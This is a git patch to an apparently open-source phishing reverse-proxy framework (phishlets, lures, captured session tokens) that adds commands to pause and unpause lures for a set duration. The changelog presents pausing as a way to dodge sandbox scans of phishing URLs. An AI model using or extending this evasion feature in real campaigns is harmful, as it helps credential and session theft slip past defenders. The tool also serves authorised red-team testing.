From 2f28e36dfd9366c84aa441c0a6c2daca104f91c9 Mon Sep 17 00:00:00 2001 From: Kuba Gretzky Date: Thu, 17 Aug 2023 20:54:33 +0200 Subject: [PATCH] added ability to pause lures for specific time duration --- CHANGELOG | 2 + core/config.go | 12 ++++++ core/http_proxy.go | 5 +++ core/terminal.go | 95 ++++++++++++++++++++++++++++++++++++++++++---- core/utils.go | 95 ++++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 202 insertions(+), 7 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 68f9627ef..e2249b02d 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,11 +1,13 @@ # Unreleased - Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen. +- Feature: Lures can now be paused for fixed time duration with `lures pause `. Useful when you want to briefy redirect your lure URL when you know sandboxes will try to scan them. - Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section. - Feature: Added default `redirect_url` in phishlets to hold a default redirect URL, to redirect to once tokens are captured, when it is not set in used phishing lure. `redirect_url` set for the lure will override this. - Feature: You can now override global unauthorized redirect URL per phishlet with `phishlet unauth_url `. - Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion. - Fixed: Fixed HTTP status code response for Javascript redirects. - Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content. +- Fixed: Removed `ua_filter` column from lures list view. It is still viewable in lure detailed view. # 3.1.0 - Feature: Listening IP and external IP can now be separated with `config ipv4 bind ` and `config ipv4 external ` to help with properly setting up networking. diff --git a/core/config.go b/core/config.go index 5e340ba9f..c98b6b6f8 100644 --- a/core/config.go +++ b/core/config.go @@ -15,6 +15,7 @@ import ( var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"} type Lure struct { + Id string `mapstructure:"id" json:"id" yaml:"id"` Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"` Path string `mapstructure:"path" json:"path" yaml:"path"` RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"` @@ -26,6 +27,7 @@ type Lure struct { OgDescription string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"` OgImageUrl string `mapstructure:"og_image" json:"og_image" yaml:"og_image"` OgUrl string `mapstructure:"og_url" json:"og_url" yaml:"og_url"` + PausedUntil int64 `mapstructure:"paused" json:"paused" yaml:"paused"` } type SubPhishlet struct { @@ -78,6 +80,7 @@ type Config struct { activeHostnames []string redirectorsDir string lures []*Lure + lureIds []string subphishlets []*SubPhishlet cfg *viper.Viper } @@ -161,6 +164,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) { c.cfg.UnmarshalKey(CFG_PHISHLETS, &c.phishletConfig) c.cfg.UnmarshalKey(CFG_CERTIFICATES, &c.certificates) + for i := 0; i < len(c.lures); i++ { + c.lureIds = append(c.lureIds, GenRandomToken()) + } + return c, nil } @@ -622,6 +629,7 @@ func (c *Config) CleanUp() { func (c *Config) AddLure(site string, l *Lure) { c.lures = append(c.lures, l) + c.lureIds = append(c.lureIds, GenRandomToken()) c.cfg.Set(CFG_LURES, c.lures) c.cfg.WriteConfig() } @@ -640,6 +648,7 @@ func (c *Config) SetLure(index int, l *Lure) error { func (c *Config) DeleteLure(index int) error { if index >= 0 && index < len(c.lures) { c.lures = append(c.lures[:index], c.lures[index+1:]...) + c.lureIds = append(c.lureIds[:index], c.lureIds[index+1:]...) } else { return fmt.Errorf("index out of bounds: %d", index) } @@ -650,16 +659,19 @@ func (c *Config) DeleteLure(index int) error { func (c *Config) DeleteLures(index []int) []int { tlures := []*Lure{} + tlureIds := []string{} di := []int{} for n, l := range c.lures { if !intExists(n, index) { tlures = append(tlures, l) + tlureIds = append(tlureIds, c.lureIds[n]) } else { di = append(di, n) } } if len(di) > 0 { c.lures = tlures + c.lureIds = tlureIds c.cfg.Set(CFG_LURES, c.lures) c.cfg.WriteConfig() } diff --git a/core/http_proxy.go b/core/http_proxy.go index ae00ceb36..eaa7336f2 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -273,6 +273,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da // session cookie not found if !p.cfg.IsSiteHidden(pl_name) { if l != nil { + // check if lure is not paused + if l.PausedUntil > 0 && time.Unix(l.PausedUntil, 0).After(time.Now()) { + log.Warning("[%s] lure is paused: %s [%s]", hiblue.Sprint(pl_name), req_url, remote_addr) + return p.blockRequest(req) + } // check if lure user-agent filter is triggered if len(l.UserAgentFilter) > 0 { diff --git a/core/terminal.go b/core/terminal.go index e82533140..c1d6fc0b5 100644 --- a/core/terminal.go +++ b/core/terminal.go @@ -88,6 +88,7 @@ func (t *Terminal) DoWork() { t.manageCertificates(true) t.output("%s", t.sprintPhishletStatus("")) + go t.monitorLurePause() for !do_quit { line, err := t.rl.Readline() @@ -649,6 +650,7 @@ func (t *Terminal) handlePhishlets(args []string) error { func (t *Terminal) handleLures(args []string) error { hiblue := color.New(color.FgHiBlue) yellow := color.New(color.FgYellow) + higreen := color.New(color.FgHiGreen) green := color.New(color.FgGreen) //hiwhite := color.New(color.FgHiWhite) hcyan := color.New(color.FgHiCyan) @@ -799,6 +801,53 @@ func (t *Terminal) handleLures(args []string) error { return nil } return fmt.Errorf("incorrect number of arguments") + case "pause": + if pn == 3 { + l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) + if err != nil { + return fmt.Errorf("pause: %v", err) + } + l, err := t.cfg.GetLure(l_id) + if err != nil { + return fmt.Errorf("pause: %v", err) + } + s_duration := args[2] + + t_dur, err := ParseDurationString(s_duration) + if err != nil { + return fmt.Errorf("pause: %v", err) + } + t_now := time.Now() + log.Info("current time: %s", t_now.Format("2006-01-02 15:04:05")) + log.Info("unpauses at: %s", t_now.Add(t_dur).Format("2006-01-02 15:04:05")) + + l.PausedUntil = t_now.Add(t_dur).Unix() + err = t.cfg.SetLure(l_id, l) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + return nil + } + case "unpause": + if pn == 2 { + l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) + if err != nil { + return fmt.Errorf("pause: %v", err) + } + l, err := t.cfg.GetLure(l_id) + if err != nil { + return fmt.Errorf("pause: %v", err) + } + + log.Info("lure for phishlet '%s' unpaused", l.Phishlet) + + l.PausedUntil = 0 + err = t.cfg.SetLure(l_id, l) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + return nil + } case "edit": if pn == 4 { l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) @@ -1017,8 +1066,10 @@ func (t *Terminal) handleLures(args []string) error { return err } - keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"} - vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)} + var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0))) + + keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "paused", "info", "og_title", "og_desc", "og_image", "og_url"} + vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), s_paused, l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)} log.Printf("\n%s\n", AsRows(keys, vals)) return nil @@ -1028,6 +1079,33 @@ func (t *Terminal) handleLures(args []string) error { return fmt.Errorf("invalid syntax: %s", args) } +func (t *Terminal) monitorLurePause() { + var pausedLures map[string]int64 + pausedLures = make(map[string]int64) + + for { + t_cur := time.Now() + + for n, l := range t.cfg.lures { + if l.PausedUntil > 0 { + l_id := t.cfg.lureIds[n] + t_pause := time.Unix(l.PausedUntil, 0) + if t_pause.After(t_cur) { + pausedLures[l_id] = l.PausedUntil + } else { + if _, ok := pausedLures[l_id]; ok { + log.Info("[%s] lure (%d) is now active", l.Phishlet, n) + } + pausedLures[l_id] = 0 + l.PausedUntil = 0 + } + } + } + + time.Sleep(500 * time.Millisecond) + } +} + func (t *Terminal) createHelp() { h, _ := NewHelp() h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP, @@ -1076,7 +1154,7 @@ func (t *Terminal) createHelp() { h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions") h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP, - readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), + readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), readline.PcItem("pause"), readline.PcItem("unpause"), readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("redirector", readline.PcItemDynamic(t.redirectorsPrefixCompleter)))), readline.PcItem("delete", readline.PcItem("all")))) @@ -1087,6 +1165,8 @@ func (t *Terminal) createHelp() { h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures") h.AddSubCommand("lures", []string{"get-url"}, "get-url ", "generates a phishing url for a lure with a given , with optional parameters") h.AddSubCommand("lures", []string{"get-url"}, "get-url import export ", "generates phishing urls, importing parameters from file and exporting them to ") + h.AddSubCommand("lures", []string{"pause"}, "pause <1d2h3m4s>", "pause lure for specific amount of time and redirect visitors to `unauth_url`") + h.AddSubCommand("lures", []string{"unpause"}, "unpause ", "unpause lure and make it available again") h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit hostname ", "sets custom phishing for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "path"}, "edit path ", "sets custom url for a lure with a given ") h.AddSubCommand("lures", []string{"edit", "redirector"}, "edit redirector ", "sets an html redirector directory for a lure with a given ") @@ -1273,15 +1353,13 @@ func (t *Terminal) sprintIsEnabled(enabled bool) string { func (t *Terminal) sprintLures() string { higreen := color.New(color.FgHiGreen) - green := color.New(color.FgGreen) - //hired := color.New(color.FgHiRed) hiblue := color.New(color.FgHiBlue) yellow := color.New(color.FgYellow) cyan := color.New(color.FgCyan) hcyan := color.New(color.FgHiCyan) white := color.New(color.FgHiWhite) //n := 0 - cols := []string{"id", "phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "og"} + cols := []string{"id", "phishlet", "hostname", "path", "redirector", "redirect_url", "paused", "og"} var rows [][]string for n, l := range t.cfg.lures { var og string @@ -1305,7 +1383,10 @@ func (t *Terminal) sprintLures() string { } else { og += "-" } - rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og}) + + var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0))) + + rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), yellow.Sprint(l.RedirectUrl), s_paused, og}) } return AsTable(cols, rows) } diff --git a/core/utils.go b/core/utils.go index 6ad7a4647..86a7ae0a3 100644 --- a/core/utils.go +++ b/core/utils.go @@ -7,6 +7,9 @@ import ( "io/fs" "io/ioutil" "os" + "strconv" + "strings" + "time" ) func GenRandomToken() string { @@ -75,3 +78,95 @@ func SaveToFile(b []byte, fpath string, perm fs.FileMode) error { } return nil } + +func ParseDurationString(s string) (t_dur time.Duration, err error) { + const DURATION_TYPES = "dhms" + + t_dur = 0 + err = nil + + var days, hours, minutes, seconds int64 + var last_type_index int = -1 + var s_num string + for _, c := range s { + if c >= '0' && c <= '9' { + s_num += string(c) + } else { + if len(s_num) > 0 { + m_index := strings.Index(DURATION_TYPES, string(c)) + if m_index >= 0 { + if m_index > last_type_index { + last_type_index = m_index + var val int64 + val, err = strconv.ParseInt(s_num, 10, 0) + if err != nil { + return + } + switch c { + case 'd': + days = val + case 'h': + hours = val + case 'm': + minutes = val + case 's': + seconds = val + } + } else { + err = fmt.Errorf("you can only use time duration types in following order: 'd' > 'h' > 'm' > 's'") + return + } + } else { + err = fmt.Errorf("unknown time duration type: '%s', you can use only 'd', 'h', 'm' or 's'", string(c)) + return + } + } else { + err = fmt.Errorf("time duration value needs to start with a number") + return + } + s_num = "" + } + } + t_dur = time.Duration(days)*24*time.Hour + time.Duration(hours)*time.Hour + time.Duration(minutes)*time.Minute + time.Duration(seconds)*time.Second + return +} + +func GetDurationString(t_now time.Time, t_expire time.Time) (ret string) { + var days, hours, minutes, seconds int64 + ret = "" + + if t_expire.After(t_now) { + t_dur := t_expire.Sub(t_now) + if t_dur > 0 { + days = int64(t_dur / (24 * time.Hour)) + t_dur -= time.Duration(days) * (24 * time.Hour) + + hours = int64(t_dur / time.Hour) + t_dur -= time.Duration(hours) * time.Hour + + minutes = int64(t_dur / time.Minute) + t_dur -= time.Duration(minutes) * time.Minute + + seconds = int64(t_dur / time.Second) + + var forcePrint bool = false + if days > 0 { + forcePrint = true + ret += fmt.Sprintf("%dd", days) + } + if hours > 0 || forcePrint { + forcePrint = true + ret += fmt.Sprintf("%dh", hours) + } + if minutes > 0 || forcePrint { + forcePrint = true + ret += fmt.Sprintf("%dm", minutes) + } + if seconds > 0 || forcePrint { + forcePrint = true + ret += fmt.Sprintf("%ds", seconds) + } + } + } + return +}